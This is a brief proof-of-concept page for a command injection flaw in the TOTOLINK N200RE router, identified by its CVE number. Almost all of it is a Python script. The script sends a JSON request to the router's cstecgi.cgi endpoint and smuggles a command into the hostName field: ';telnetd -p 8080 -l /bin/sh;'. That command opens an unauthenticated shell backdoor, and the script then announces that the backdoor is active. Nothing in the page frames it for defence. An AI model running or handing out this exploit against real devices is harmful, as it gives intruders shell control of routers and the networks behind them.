CVE-2025-55893 TOTOLINK N200RE命令注入漏洞

import requests # CVE-2025-55893 PoC - TOTOLINK N200RE Command Injection # Target: TOTOLINK N200RE V9.3.5u.6437_B20230519 # Endpoint: /cgi-bin/cstecgi.cgi target_ip = "192.168.0.1" # Default router IP target_url = f"http://{target_ip}/cgi-bin/cstecgi.cgi" # Malicious payload to inject command # Using telnetd to create a backdoor connection payload = { "topicurl": "setOpModeCfg", "hostName": ";telnetd -p 8080 -l /bin/sh;" # Command injection payload } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } try: print(f"[*] Sending exploit to {target_url}") print(f"[*] Payload: {payload['hostName']}") response = requests.post(target_url, json=payload, headers=headers, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response: {response.text}") if response.status_code == 200: print("[+] Exploit sent successfully!") print("[+] Telnet backdoor should be active on port 8080") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}")